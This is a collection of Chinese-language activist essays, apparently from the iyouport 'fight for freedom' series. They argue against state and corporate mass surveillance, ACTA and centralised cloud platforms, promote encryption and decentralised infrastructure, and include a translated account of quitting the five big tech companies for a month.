如果革命要走向成功，就需要一群愤怒的大众，需要足够高的速度，而且如果组织发生在互联网上，那就需要获胜，因为一旦不能取胜，同样的基础设施既能让一种舆论共识迅速发展起来，也能被用来追踪所有卷入舆论散播的人。

埃及曾经是美国的盟友，但它不是英语国家情报联盟的成员（Five Eyes），这一情报联盟包括美国、英国、澳大利亚、新西兰和加拿大。如果假设埃及革命发生在美国，那么 Twitter 和 Facebook上会发生什么呢？它们基本会被国家接管，一旦无法成功，FBI和CIA分分钟就能追查到所有关键参与者。

如果它发生在中国呢？毫无悬念的是断网，而不为人知的数据交易也很容易让反抗者被精确瞄准。这就是为什么关注抗争的本网不断重申：不要在未经加密的通信媒介上发布关键信息。

加密就是为所有赛博人在这个被当权者疯狂入侵的网络世界里，划出一块我们自己的地盘。二十多年来，不断有技术人士在思考这个问题，如何一块块抢回互联网，可惜其中没有中国人。随着技术发展，大家发现了更多更好的技术可以挽回互联网的民主化，这些技术原本可以分享给所有人，只可惜，太多人并没能意识到危险，反而促进了技术的集权化。

也许技术的基本趋势就要经历这样的阶段：先集权化，再民主化——如果其原理能冲击到下一代的受教育人口。

当年 Johannes Gutenberg 发明活字印刷术的时候，德国某些地区会禁止这项技术，但它还是在全国范围内迅速传播开了。因为印刷术在一地遭到禁止，他们就会转移到另外一个司法管辖区继续发展。他们

扰乱了天主教会，因为教会对书籍的垄断权被打破了，而一旦卷入法律纠纷，他们就会转移阵地，到没有禁止这项技术的地方。

某种程度上可以说，是禁令在推动技术的传播。

在中国，VPN开发和使用技术的流传也异曲同工，但那个该死的GFW阻碍了人们的认知，至今仍然有绝大部分使用VPN的中国人，只是为刷推而已。

> *“互联网将审查视为故障，并绕道而行”*——电子前哨基金会创始人 *John Gilmore，1990*年

John Gilmore 鼓励了所有无政府主义者的行为方式，那就是你要拥有匿名通信方式，而不必害怕被追踪。互联网需要更多的 John Gilmore。

有点可惜的是，传播需要人们理解这项技术的工作原理，印刷术不难理解，而电子技术就不一样了，人们是在技术内部制造更多的控制。这种控制是内嵌的。内嵌的控制阻碍人们去理解它，防止人们违背制造商的意愿去改变它。目前的状况甚至更糟，这些内嵌控制的机器还是联网的。

它本身就包含了监视用户和用户数据的功能。这就是为什么自由软件对一个自由社会来说是如此的重要—— 它是我们获取作为生活基础的系统蓝图的能力，同样，这也是自由硬件的重要原因。

如果你不能理解它，一般的趋势只能是顺从权威，顺从那些理解系统并声称控制系统的人。

怎么办之二

当权者举着大仁大义的招牌向我们进攻，他们可以把很多猥琐的手段合法化。

不否认所谓的战术监控在某些时候是合法的，但问题在于，司法监控的界限在哪儿？使用这些工具对所有公民实施监控的界限在哪儿？这是个政策议题。

当遇到政策议题时，往往是一些对技术本身一窍不通的政客在那儿签署各种法律。在民主国家，公民需要尽责，不仅需要对那些政客解释技术本身，也要积极地参与到技术使用的政治辩论中。在威权国家，你什么犹豫都不该有，只需要立刻投入阻击战。

在这个问题上，民主国家并不是安全港，虽然公民可以发表自己的意见。因为当局必需依法行事，如果他们不这么做得不到任何好处。但通过这种战术路径，欧盟内的民主国家一直在大规模购入能够使他们在法律之外行事的机器，这些东西不需要法院判决，完全不受控，他们只要按下开关就可以执行了。

那么对此应该怎么办呢？理论上有两个途径：物理途径——开发防范拦截的设备；人的定律——确立监管问责机制，制定民主控制的法律，以确保人们必须得到授权才能进行数据拦截。

但即便圆满完成这两个途径，也无法阻止战略拦截，它不可能受到监管的有效制约。战略拦截是不分青红皂白地拦截每个人的数据，是统治集团的核心在从事这种监控，他们自己不可能有充分的政治意愿去曝光国家的间谍行为。

这种技术非常复杂、实践中又是秘密使用的，民主在此无法发挥作用。

要绕开政治问责来实施拦截是非常容易的，也很便宜。瑞典在2008年通过了一项拦截法案，即著名的 FRA-lagen，该法案意味着瑞典情报机构国航无线电局（FRA）在满足某些条件的情况下，可以合法地大规模拦截所有过境通信，并把所有数据送到美国。

而且多年来的事实证明，FRA已经在各种场合破坏了法律。更多的国家将拦截置于法律管辖之外，根本不可能对此立法，更可怕的是，立法提案在帮斯塔西们擦屁股。看威权国家。

拦截所有元数据意味着必须建立一套系统以在物理上拦截所有数据，然后扔掉元数据以外的所有东西。但这种系统是不可信的，除非有熟练工程师得以批准去彻查所发生的事，否则无法取证，由于技术复杂性和保密政策的有效勾结，真相被隐藏在其中，被掩盖在各种秘密里。

不可问责性就内嵌在这种体系中，这是体系的特征。是被故意设计出来的危险。

你觉得法律都是在维护你的利益吗？那可不一定。在包括美日英在内的33个国家联合签署的《瓦森纳协定 The Wassenaar Arrangement》中，加密技术被视为一种所谓的军民两用技术来处理，终端产品形式的加密技术如果向很多国家出口是要收到法律限制的。在宣称某些国家及其邪恶行为的背景下，这条听起来似乎有些道理，但另一面却

是，通信监控技术目前没有受到任何出口限制。

所有国家都想获利，民主国家也一样，假如你和邪恶国家做生意，你把监控设备卖给他们去做坏事，那么你就能从中得利，因为你将因此知道他们在监听什么，他们在害怕什么，谁是对邪恶国家最具威胁性的人，谁在组织反对活动，于是你就可以更准确地预测到未来会发生什么，以便提早制定应对方案。

这就是为何监控系统不受管制，而加密技术被管制。

……

世界人口大约每25年翻一倍，而监控技术能力则是每18个月翻一倍，监控曲线严重压倒了人口增长曲线。没有更直接的办法可以逃脱，一个中等规模国家的全国性大规模监控之数据的储存单元，只需要一千万美元。看起来我们只能努力的控制局面。

在利比亚的抗议活动中，反对派直接奔向了监控站，他们拿到了数据，可以证实西方企业在协助卡扎菲政权的镇压运动。然而，新政府完全接管了这些监控设施，现在这些设施又在欢快地运转了。

无疑，公民有兴趣对抗当权者的利益，但糟糕的是，不论是谁拥有这种可以窃听所有人手机的能力，他都会去使用它，这就像是库存率——经济学说，只要你知道市场上正在发生什么，你就能赚到暴利。

还能想到什么办法？欢迎留言探讨。

这是无人能幸免的危机，需要更多人一起来思考。

（对全球互联网公民的终极警告）

原文

创建属于我们自己的国土；推荐非暴力直接行动的终极形式——为自由而战（三）- iyouport

为自由而战系列（完成）

【2018年1月9日存档】吐口水没什么意义。需要鼓励更多的人积极地加入思考，把想法付诸实践，鼓励人们分享这些知识，教会人们如何用技术武装自己，用新技术去建立属于自己的去中心化加密基础设施，拥有自己的通信基础设施。向全社会推广。

怎么办思考之三：反抗**ACTA**的成与败

互联网上的政治叙述依赖于煽情造势和媒体的时间尺度，这种时间尺度极其短暂，一则消息的出现与消失都在24小时内，然后就会被新的信息所取代。通过互联网，我们是在建造所谓的互联网时间。因为理论上互联网不会遗忘，于是可以日复一日、年复一年地建立卷宗，对其做研究分析（相关分析软件非常多），最终团结人们参与其中，来形成我们自己的政治叙事。

让当权者滚蛋。

国际无政府主义者曾经使用这种方法对付ACTA。Anti-Counterfeiting Trade Agreement《反仿冒贸易协定》是一个国际知识产权协定，最初由美国版权行业搞出来的，实际上早已运用在相当多的双边贸易协议中，立法者企图创建一种新的国际制度，来规定什么样的出版合法，什么非法。它是阻止人们从事各种出版活动的机制。

在这个体系下，如果你给某人发一封信，要求他们从互联网上删除某些东西，他们就必须删除，虽然可以给他们几天时间提出抗议，但是，由于对互联网服务提供商而言，处理这种抗议太费钱了，于是他们会毫不犹豫地删除。然后让作者和上传者自己去维权。

中国人一直以为谷歌是绝对伟大的，百度是绝对垃圾的，这句话其实

只对了后一半，谷歌一样逃不开ACTA。最典型、且被公开的信息比如山达基教（Scientology），他们已被证实曾经从谷歌的YouTube上删除了数以千计的视频。

ACTA一直被广泛批评为限制人权、隐私权与言论自由的协议，并且因此在欧洲多处掀起了抗议。欧盟签署后，负责研究这项协定的欧盟专员Kader Arif当即宣布辞职，并指出这项议案对公民权的限制不容忽视。幸亏中国没能加入ACTA，但对中国人来说，只是在某部分程度上的状况没有急剧恶化，但别忘了，中国政府正在加紧收买国际商业媒体，这是比删帖更严重的入侵——它能从根本上控制信息。

在民主辩论中，ACTA已经臭名昭著，公民赢得了语话权，但在幕后，秘密的双边协议其实已经建立起来，并达到了同等程度的目的，这直接颠覆了民主议程。比如新的联盟 - 印度自由贸易协定，其中很大一部分就是照搬的ACTA，这类状况非常多，当权者把受争议法案的标题拿掉了，把内容切割成了小块，让这些小块像蠕虫病毒一样渗透到各种事物中，渗透到国际制度中。

在公众眼里，你以为自己的公民权得到了发挥，以为民主胜利了，但这只是表面上的胜利，而事实上，情况一如既往。

由此可见，政策和立法改革并没有奏效，尽管你也不能把主动权交给对手，那样他们就会加速进程。所以要想保住民主，就要全球公民警惕起来，用各种方法进行检查，这样至少能延缓事态发展进度。

最基础的是，动员人们切实地参与到这些讨论中来，参与到改革中来，在他们还有权利这样做的时候。

也只有互联网公民能做到。增加做出错误决定的那些人的政治成本，只有把互联网掌握在公民自己手中，我们才能通过一个自由的互联网来促成这些集体行动。

怎么办思考之四：去他们的云计算吧

去中心化系统(decentralization)的基础建构的难度是个核心要点，尤其重要的是，这种基础架构必须掌握在人民手中，因为现在已经有集中化的云计算了。

集中化是所有互联网人的撒旦，Facebook是集中化的，twitter是集中化的，Google也是集中化的，中国那些玩意儿更是，它们都受制于掌握强制性权力的人。就如当年的电报门，美国《纽约时报》、英国

《卫报》、德国《明镜周刊》、西班牙《国家报》以及法国《世界报》均迅速给予了报道，而亚马逊则立刻将维基解密的网站从它的服务器上删除了。

而且云计算还给公司提供了一种经济激励，把数据交给所谓的国际数据中心处理，是一种更便捷的处理方式，但这些数据中心都是美国企业运营的，这就意味着背后是政府牵头的被集中化，就像支付公司那样。

向云计算转移数据的趋势相当令人担忧，太多的服务器被集中在同一区域，为了更便于标准化控制，也便于对支付系统进行标准化处理。这是一种更有竞争力的技术，主要因为集中起来更便宜。除了流媒体电影外，互联网上发的绝大多数通信都发生在服务器之间，所以你把服务器放得更近些就会更便宜。最终，就得到了这些通信服务器的巨型蜂巢。

这些巨型建筑正是国安局大规模拦截的搜集点。中央控制让权力滥用变得非常容易。

集中化是赢在经济竞争中了。而为此埋单的正是我们所有人的个人安全。

因此必须致力于打造我们自己的基础设施，如果我们想要反对这种监控状态，要推翻“老大哥”，这就是我们必须做的事——去他们的云计算还是什么其他垃圾吧，互联网公民应该拥有自己可以掌握的东西。

这也是急需向更多公众传播的信息。随时都会有当权者跑来干涉你寻求自由的努力，1999年 Napster 开始的P2P技术就曾被指“犯罪”。他们就是这样制造舆论攻击的。但如果你为自己建立起更好的文化，那么每个人都会使用Napster。

文化就意味着共享。

Napster在最初还是有点集中化的，但也正是它，为去中心化的理念埋下了种子。每个人都有了一个具体的实例来显示去中心化建构如何作用于知识共享。当我们在讨论绕开审查或揭穿政治叙事，以建立更好的民主体制和更好的生活时，我们就是在讨论知识共享。

这就是为什么人们要抵制ACTA。欧洲议会中一些人现在已经明白了，当人们分享东西时，不为牟利地分享重要文件时，他们不该被送去监狱，不该受到处罚。

这是全球海盗党十多年来不懈追求的自由。数以千计的群体行动被激发，朝着同一个方向，那些小到你看不见的个人行动，凝结起来了，这就是去中心化政治运动的见证。

有些人习惯等待先锋队的想法很糟糕。P2P运动明确反对政治先锋队，这种观念是，我们都是对等的，我们可以彼此分享，可以提供不同的服务或提供不同的功能。更重要的是对信息的核实，维基百科的思路很好，但很多内容不可靠，尤其是中文维基，存在为数不少的低级错误，就是核实不力造成的。

人人都能发言，但大多数人说的都是废话。就像活动家Lessig 曾经说的那样："学生的作文99%都是废话，但尽管如此，还是必需教给他们如何写作"。互联网上的胡说八道一直都是大多数，但随着时间推移，你就可以运用这种能力在公共场合表达自己的意见，以自己的方式构建你的语话，越来越有效地参与到复杂的讨论中。

而如何应对大规模监控的问题，是一个巨大的工程，要想实现它，就需要将其切割为诸多小的部分，这样才能让更多人理解问题本身，才能邀请人们加入讨论。

你要知道，国家一直在对你做什么

国家是强制性权力在其中流动的系统，国家内的各个政治派系也许通过互相竞争来谋求支持，但这只是导致了一种民主的表象，而国家的基础是系统性地运用或规避暴力。土地所有权、租金、股息、税收、法院罚款、审查、版权和商标，这一切都是由国家的暴力威胁来强制执行的。而大多数时候，人们都不会觉得暴力离我们有多近，因为所有人都为了避免暴力而让渡了权利。

互联网世界从原子构成的旧世界中脱胎而出，渴望着独立。但是国家及其盟友行动起来，通过控制互联网的物质基础夺取了我们所有人对这个新世界的控制权。国家就像油井周围的一支军队、或者边界上的关税代理人，向人民索取贿赂，阻碍人们梦寐以求的独立。

他们通过控制光缆线路、绕地卫星和地面接收站，大规模拦截互联网公民的信息流——这个新世界的本质，他们渗入了新世界的经脉，吞噬着每一种表达和交流的关系，吞噬人们阅读的每一个网页、发送的每一条信息、搜索的每一个概念，每天拦截数十亿条信息，然后将这些做为权力加固器的数据，储存在一个巨大的机密仓库里。

再然后，国家会一次次地开采这些宝藏、这些搜集到的人类个体的智

力创造，利用前所未有的复杂搜索和模式发现算法，充实这些宝藏，将拦截者和被拦截的世界之间的不平衡，继续扩大。

最后，国家会将他们从中所学到的运用到现实世界，去发动战争，发动无人机攻击，操纵贸易和联合国委员会，去为产业界、局内人和朋党亲信的巨大关系网牟利。

我们可以用来抵御的武器

这是我们可以抵御全面统治的一个希望，一个结合勇气、洞见和团结的希望，它就是加密技术——我们可以摆脱无处不在的入侵，从中创造一个新的国度，将那些物质现实的控制者隔离在外，他们一直在煞费苦心地追踪我们所有人。

密码术是非暴力直接行动的终极形式。

拥有核武器的国家可以对数百万人施加无限暴力，然而强大的密码术意味着一个国家——即便是能够施加无限暴力的国家——也无法打破个人保守秘密的意志。

如果我们不这么做，互联网的普世性将让全球人类逐渐消失在一个大规模监控的天罗地网中。

为自由而战

我们追求的是自由阅读和自由发言的权利，是互联网应当赋予我们的权利，被政府和服务商抢走的东西，现在要把它拿回来，要惠及每一个人。同样也需要匿名发言的权利，让人们可以不受到第三方干扰地进行支付，能够享受自由的旅行，能够在系统中纠正关于自己的信息。我们需要看到各种机构的系统都变成透明的和可问责。

未来世界最积极的方向就是自我认知、多样性和自决的网络，受过高等教育的全球人口是自由交流的产物，同时也刺激了新文化的成长，以及个人思想最大程度的多样化，同时能促进快速的联合，以及超越地理限制的价值交换，就像阿拉伯之春和泛阿拉伯运动中所展现的那样，那些运动就是通过互联网才成为可能的。

而当下的趋势却是，这个世界正在滑向一种狭隘的、同质化的后现代极权主义体系，所有人的自由都在受到威胁。

这种新型的跨国反乌托邦发展趋势尚未被大多数人所了解，它被隐藏在所谓机密、复杂性和更小的尺度里，互联网被当权者变成了前所未

有的极权主义推进器，它已经开始威胁人类文明。

是时候奋起而战了。

吐口水没什么意义。需要鼓励更多的人积极地加入思考，把想法付诸实践，鼓励人们分享这些知识，教会人们如何用技术武装自己，用新技术去建立属于自己的去中心化加密基础设施，拥有自己的通信基础设施。向全社会推广。

我们需要自由的软件，就像民主制度需要法律—— Code is law——让每个人都能学习法律、运用法律、真正的理解法律，并确保法律如期执行。

政府和公司都在改变着互联网的基本结构，把它从一个普通的网络分割成像巴尔干地区那样的小型子网。但作为网络公民，我们讨论的是全球性事务，不论是金融系统的扭曲、腐败、还是地缘政治和能源环境问题，都是今天的人类所共同面临的问题，而人类手上就有这个全球性的工具，可以实现更好的通信、更好的知识共享、更好的政治和民主参与。

很有可能，全球互联的网络是我们应对这些问题的唯一工具，因此，争取一个自由的互联网才是所有战斗的核心，我们所有人都应当为此努力。

原文

拒绝所有科技巨头的服务坚持半年，是一种什么样的体验？ - iYouPort

为自由而战系列（完成）

我通过退出苹果、亚马逊、Facebook、谷歌和微软学到了什么

「图」

「图」

五月份，我决定从我的生活中剥离所谓的“五大”科技公司一个月。这意味着拒绝 Google，Microsoft，亚马逊，Facebook，Apple 或其任何子公司的任何服务。

我想进行这项实验有很多原因，包括回收我的隐私，以及更多地了解我每天使用的技术是如何实际运作的。然而，主要原因是想看看五大服务是否真的有必要或仅仅是为了方便。

我发现几乎所有五大公司的主要服务都有足够多的开源或独立替代品。在某些情况下，例如地图软件或社交媒体平台，五大与替代服务之间的差距如此之大，以至于它对我的生活产生了明显的影响。但在大多数情况下，开源或独立的替代方案工作得很好。

- 延伸阅读：《Google 产品的替代品在这里》
- 《所有安全产品的工具箱在这里》

以下是一些总结——

FACEBOOK

- 在删除我的 Facebook 个人资料之前，我最关心的一个问题是它会不会破坏我的社交生活。然而，离开平台差不多一年后，我发现事实并非如此。Facebook 坚持认为它是社区和友谊的核心和灵魂，但这只是一种营销策略，而不是现实。如果有什么

的话，离开社交媒体平台真的会减少我的错失恐惧症。
- 如果您将其他第三方应用程序链接到了您的 Facebook 个人资料，那么退出社交媒体平台会更加困难。只需使用您的电子邮件地址和密码管理器即可登录这些应用程序。
- Facebook 很难从网站上批量下载高分辨率的照片副本。有脚本可以做到这一点，但它们需要很长时间并经常崩溃，所以如果你已经在 Facebook 上存储了很多照片，请准备花几个小时去删除照片。

苹果

- 您可以构建一台功能强大的计算机，其成本远低于 Apple 台式机或 MacBook 的成本。Apple 卖的只是广告。如果您真的担心功能性，您可以通过选择自己的组件并自行组装计算机，以较低的价格获得更好的 PC 性能。我保证它并不像听起来那么难。

微软

- Linux 很棒。它也是免费的，比 Windows 便宜139美元。

AMAZON

- 事实证明，您可以在 IRL 商店获得您需要的大部分东西，其他所有内容都可以在专业网站上找到。奇怪吗，但这是真的！

谷歌

1. 谷歌地图仍然没有很好的替代品，但是有非常接近的。

- 设置您自己的“云”服务只需50美元即可完成，无需大量技术技能。
- 就协作文档编辑而言，Google Drive 确实没有好的开源替代品。
- 抛弃 Android 很难。Sailfish 几乎是唯一仍然存在的独立移动操作系统，但基本上不可能进入某些手机。虽然有一个充满活力的黑客社区正在开发他们自己的分叉版 Android，但谷歌正在打击这些非官方版本，无法通过非官方 Android 操作系统从其应用程序商店下载谷歌应用程序。但另一方面，使用 APK 文件将应用程序侧载到非官方 Android 版本上并不困难。
- DuckDuckGo 是谷歌搜索的一个很好的替代品，并表明广告支

持的搜索引擎不需要侵犯用户的隐私。

1. 延伸阅读：《喜欢 Android 但讨厌 Google 的隐私侵犯，可以怎么办？》

重要的是要意识到这些服务都不是必需的。我们可能已经开始过度依赖它们了，但事实上它们没那么重要。亚马逊只是与警察合作的老大哥。您的社区在 Facebook 出现之前就已经存在了。谷歌并不总是一个动词。我们有能力通过我们与他们互动的方式来改变这些公司—但只有在我们想要的时候。

What I Learned By Quitting Apple, Amazon, Facebook, Google, and Microsoft: Triple check your recovery codes, don’t link Facebook to different apps, and other lessons from a month without Apple, Amazon, Microsoft, Facebook, and Google.

原文

结束毫无意义的口水和拉锯战，这里是你应该知道的事——为自由而战（四） - iyouport

为自由而战系列（完成）

【2018年2月11日存档】把互联网转换成一个监视系统，是它的核心潜力决定的。更糟糕的是，当权者已经将互联网变成了压制工具，威胁要制造出人类历史上最为极端和压迫的国家入侵武器。

因特网的真正本质是一个不存在审查的领域。每一个以审查、掩盖和启示为核心的权力集团，自然都会对它怀恨在心。

这是一场战斗，数字时代每个人对无法逃避的战斗 —— 抵抗商业和政治对因特网和言论自由的压制。

为了彻底改变政权的行为，就必须清醒而大胆地思考。

这么多年来，如果说人们学到了什么东西的话，那就是政权不希望被改变。所以当今的人们必须超越前人，去思考前辈们所不能做到的方式来强化我们的技术变革。必须了解不良治理的关键生成结构，发展出一种思考这种结构的方式。

这种结构足够强大，可以穿过相互竞争的政治道德的泥潭，形成一个清晰的位置。最重要的是，必须运用这些见解来激励自己和他人，采取一种高瞻远瞩的有效行动，以更好的方式取代导致治理不善的结构。

很多人看到自己做的事情前人已经做过的时候，会感觉很踏实，并且会情不自禁地追求那种踏实的感觉。这是很糟糕的。这样做没可能创新。创新并不是标新立异，而是被时代驱动的、甚至可以说是逼迫出来的需求。

知识分子经常会引经据典，几十年或者几百年前的先人们“就是那么做的，然后他们成功了”，得出结论就是“我们可以复制他们的成功”。

那可不一定。尤其是在技术飞速发育的今天，世界本身已经发生了变革，陈旧的思考方式至少可以肯定拖了进度的后腿。就如今天的你照样有机会笔墨纸砚，但肯定没我打字速度快，如果设定我们的目标都是传递信息的话。

怎么办？挑战。你不可能不犯错，但恰恰是犯错证明了你没有放弃挑战。很多自由派人士不仅爱躲避，还几乎可以算是和敌人共谋。他们希望变革能在友好和睦的状态下进行，那不可能。他们呼唤正义，但不想让任何人受苦和难堪，那不可能。

> *“The principal mark of genius is not perfection but originality, the opening of new frontiers.”*

人们应该去学习下量子力学

量子力学是物理现象思考方式的一个体系，它能帮你培养出有序的思考模式。它把所有问题摆在桌面上，不会对结果做先入为主的意见。这些正是当今很多媒体所缺乏的价值，也是不辨真伪的信息消费者所缺乏的基本功。

你经常能在电视上看到媒体给支持的政客所设计的“软问题”，比如您工作的背后是否有一片爱国主义赤诚呢？、您能解释一下您支持的方案是如何刺激经济发展的吗？等等，这些问题本身就埋下了对支持立场的宣传。量子力学可不问这些问题，它教你提出有价值的问题，以引导出有用的答案，学得好能帮你形成一种挖掘式的思维体系。

它教给你用实验去证明理论，在所有因果测试结束前，不要想当然，不要假设。

量子力学是一种变革的理论。

这是信息时代，信息就是金钱和力量，正是信息在推动变革。本网几年前的文章经常会涉及一些对信息流的观察和分析，信息如何在人际间、社会间流动，就如物质在管道中流淌，这其中是谁为物质做出了贡献，估算哪种流向有助于正义的形成。

这些管道尤其重要，你必需弄明白是谁修的管道、谁付的钱，谁来维护，哪里出现了阻塞，是什么在阻塞流动。这些管道就是媒体——第四权。

> *Ideas are very important to the shaping of society. In fact, they are far more powerful than bombs or armies*

> *or guns. And this is because ideas are capable of spreading without limit. They are behind all the choices we make. They can transform the world in a way that governments and armies cannot. Fighting for liberty with ideas makes much more sense to me than fighting with guns or politics or political power. With ideas, we can make real change that lasts.*

茫然的第四权

很多新闻工作者只是权势阶层的速记员，有些人自己或许都没有发现这点。

所有的新闻都是一种行动主义的形式，其选择都包含着高度主观的假设——文化的、政治的或民族主义的——并且服务于一派或另一派的利益。前布什D.O.J.律师杰克·戈德史密斯（Jack Goldsmith）在2011年曾经赞扬所谓的“美国新闻的爱国主义”，意思是美国媒体效忠于保护美国政府的利益和政策。这不可能是一件高尚的事情，而且绝对不是客观的：而是相当主观的，意味着经典的“宣传家”。

新闻报道唯一重要的衡量标准是准确性和可靠性。每个人都知道传统对新闻媒体客观性的原始要求，虽然如今时代变了，媒介变了，如果你必需带上主观的话，坦白地说，披露而不是隐藏自己的主观价值，才是更加诚实守信的新闻。但是，除非是以事实、证据和可证实的数据为基础，否则从最风格化的“目的性”、到明目张胆的自以为是的新闻，从来都不具有真正的价值。

计算机科学已经迅速创造出了一种信息分享者的社会，而这种分享与这种社会代表的民主和自由程度比传统的出版广播业要高很多。信息自由、以及躲避信息的自由等议题，迅速摆上了台面。

因特网就是一个可重组的管道系统，能够将观察行为和有能力行动的人互联，增加道德行为的可能性。这个时代的社会将进入一种新的模式：让媒体对观察者负责，让政府机构能够被观察，打破政府和与其沆瀣一气的第四权对信息的垄断。搜集流程已经实现了新信息与你已知的信息相结合，并根据所有不同行动者的具体情况实现语境化。这种模式下，信息流不再是某些新闻记者或某个媒体机构自己的事情，而是全社会协助的产物。

> 当看到一个不公正的行为而不采取行动时，你就成为了不公正的一方。那些在不公正面前反复被动的人很

> 快就会发现他们的性格被腐蚀成奴性 —— *Julian Assange*

大多数被目睹的不公正行为都与治理不善有关，治理良好的时候无法应对的不公正是很少见的。由于人民的性格逐渐软弱，所报告但未得到解决的不公正现象的影响会远远大于它最初看来的那样。现代通讯通过其规模、同质性和激进性，为民众提供了一个前所未有的狂潮，你有机会去目睹那些曾经被隐匿起来的不公正。

在专制政权的内部运作中，政治精英之间的阴谋相互作用，不仅仅作用在在政权内部的升迁或倾向问题上，更有，作为保持或加强专制力量的主要方法。

信息从共谋者流向共谋者。不是每个共谋者都信任或者认识其他共谋者，尽管他们都是连接在一起的。阴谋团体往往很挑剔，有些人之间存在信任和相互依赖，而另一些人则很少。有的在阴谋者的边缘，有的在中心，有的可以和很多阴谋者交流，还有的可能只知道两个阴谋家，但此人有可能是阴谋集团重要组成部分之间的桥梁……

这就是庇护关系网。打破这张网的最佳方案就是将阴谋公开，当阴谋被揭示时，权力关系就会动摇。

> “表层政府的后面有一个隐形政府，不忠于人民也不为人民负责。摧毁隐形政府，斩断腐朽的政界和商界之间的邪恶纽带，是政治家的首要任务” —— 美国第*26*任总统 *Theodore Roosevelt*

用技术武装自己

我们这代人能够钻进计算机里，借助科技之力为正义而战，打破维系不公的权力和腐败体系，这是我们的前辈做梦都想不到的机遇。

未来的世界里，力量不再属于枪杆子，而是来自于交流通讯，人不再需要通过一小群精英的认可来认识自己，而是在融入社交网络、充分挖掘巨大的政治潜能的过程中，认识自己。

英国著名思想家 **John Milton** 曾经对非暴力不合作有过精辟的诠释：“这样的国家绝对不会变得迟缓沉重，而可拥有敏捷的创造力和锐利的灵魂，敏于创新、健于言谈、充分企及人类智慧的最高境界”。

公民不合作并非止于反抗暴权，而是要将其彻底赶下台。暴虐势力的

主要力量源泉就是他们能秘密地行使权力，计算机时代让人们终于发现，“秘密”地带正是反抗暴权的最佳地点。政权就是在用机密和庇护关系网来巩固势力的。

对大街上的抗议人群，他们用水炮冲击，对投掷汽油弹的抗议者，他们有机关枪，那些人并没有让他们吓破胆，而因特网带来了真正的反叛模式，人们有机会借助科学向世界宣布：你们不能再控制我们的想法了。

每个人都在说权利，到底什么是权力？权利指的是人自由执行可执行的行动，因此权利也意味着承担同等的责任 —— 当你承认某人拥有权力的时候就有必须承认自己有义务去保护那份权利。如果你认可民主制度，承认公民有隐私权、知情权，却对隐瞒隐藏和各种谎言的专制手段巩固袖手旁观，那你的话就跟没说一样。

专制政府打压异议人士，诋毁、囚禁、孤立他们，无所不用其极，就是为了剥夺他们说话的权力。在这个充满遮掩、秘密和各种谎言的世界里，正义赖以生存的基本权利受到严重威胁。正是知情权诞生出语话权，两者统称为知识沟通和交流的权利。

人类对正义有天生的渴求，对审查有天生的反抗，互联网就可以证明这一点。我们的父辈们理所当然地接受了传统模式的存在，但缺乏对人类制度在现代各地如何运作的详细知识，他们的反抗模式已经无法适应这个每分每秒都在更新的科技驱动的统治模式。而我们已经有了做出突破的机遇和能力。

> *Politics emerges as the expression of the battle between our collective desires and strenghts. Due to the common nature of mankind, there is great commonality in some of our strongest desires. When these desires do not compete they drive politics forward to ensure their forfillment. This is what we usually mean by the capitalised Right, a powerword, a threat of collective enforcement.*

密码朋克

密码朋克运动在西方国家始于1992年，通过邮件列表将支持者组织起来讨论计算机科技、政治、哲学、数学等话题，Julian Assange 是其中之一。正是这些先驱为未来密码学的发展奠定了基础，他们是现代隐私权斗争的先锋。

密码学最原始的使用者是加利福尼亚的自由主义者，当时它是各州的专有财产，和今天的使用者一样，都是为了保护个人免于国家的暴政。密码学是最好的秘密武器。

很多早年的密码学家是斯坦福或麻省理工学院的天才，生活在天马行空的纯数学世界里，他们主要担心的是如何保护隐私。如果安全性无法保证，计算机时代的生活可以简简单单地被监视、控制和滥用。

时至今日，这个世界已经不是“老大哥正在看着你”的问题了，而是老大哥在控制你的手指、控制你的思维活动，禁止你独立地去发现世界、获取信息，老大哥就在你家里，就装在你刚从电子商店买回来的设备里。

> *Many privacy advocates justify a predominant focus on abuses by the state on the basis that the state enjoys a monopoly on coercive force. For example, Edward Snowden was reported to have said that tech companies do not “put warheads on foreheads.” This view downplays the fact that powerful corporations are part of the nexus of power around the state, and that they enjoy the ability to deploy its coercive power, just as the state often exerts its influence through the agency of powerful corporations. The movement to abolish privacy is twin-horned. Privacy advocates who focus exclusively on one of those horns will find themselves gored on the other.” — Julian Assange (When Google Met Wikileaks)*

你最好的武器

强大的密码学是对抗国家压迫的重要工具。但是对于密码学的推广运动，必须做得比目前更多，我们的未来并不在于几个人的自由 —— 远不限于对所谓的敏感人士的保护。

cypherpunks 的信念对致力于反权威运动的人们来说尤其重要。大众监控不仅是民主和治理的问题，甚至已经成为了地缘政治问题，强权利用技术欺凌弱者，大国利用技术威胁弱小国家的主权。

每个人都知道，一直以来是石油资源在推动全球地缘政治。石油的流动决定了谁是主导者，谁被入侵，谁会受到全球社会的排斥，对石油管道的一部分进行物理控制产生了巨大的地缘政治力量，克里姆林宫

一个指令就可以让东欧和德国整个冬天没有热源……

但数字时代来了，新的游戏已经不再是石油管道的战争，而是信息管道的战争：控制海底和陆上的光纤电缆路径的战争。新的全球财富是控制连接整个大陆和各种文明的巨大数据流，连接数十亿人和组织的通信。

在互联网和电话上，来往拉丁美洲的所有线路都通过美国，这已经不是什么秘密了，互联网基础设施通过实际穿越美国边界的光纤线路将来往于南美洲的99%的流量引导出去。每一天，来自整个拉美大陆的数以亿计的信息被美国情报机构吞噬，永远存放小城市规模的仓库里。因此互联网基础设施的地理事实对拉美的独立和主权产生了直接影响。

同时，这个问题也超越了地理。许多拉美国家的政府和军队都用加密技术来保护自己的秘密。这些硬件和软件可以加密消息，然后在另一端解密。政府购买这些设施是为了保密——通常是以牺牲人民的利益为代价——因为他们害怕通讯被截取。

但是那些销售这种昂贵设备的公司基本都与美国情报界有着密切的联系。他们的首席执行官和高级职员常常是来自NSA的数学家和工程师，就发明而言，他们创造了监视状态。谁在使用这些技术或者如何使用并不重要，美国情报机构仍然可以解析信号并读取信息。

这也是为什么国际上一直在呼吁警惕对中国数字技术的引进，而美国能拒绝中国华为，但另一些较小国家就不一定能抵御低廉的价格和“来自那个大国的压力”了。技术引进也经常是以外交手段出现的，英国购买的大批中国制造的监控摄像头就是这个道理，当唐宁街明确表达了政治需求时，隐私维护者的质疑几乎虚弱无力。

足见美国不是唯一这么干的大国。乌干达等国家的互联网基础设施得到了中国直接投资的充实。大笔贷款是为了换取非洲给中国公司的合同，用于建设将学校、政府部门和社区连接到全球光纤系统的互联网骨干基础设施。

非洲人上网了，但是硬件由“超级大国”提供的。非洲互联网将成为非洲继续被征服到21世纪的手段吗？非洲是否再次成为全球大国对抗的舞台？

为了说不，他们必需掌握的就是密码学。

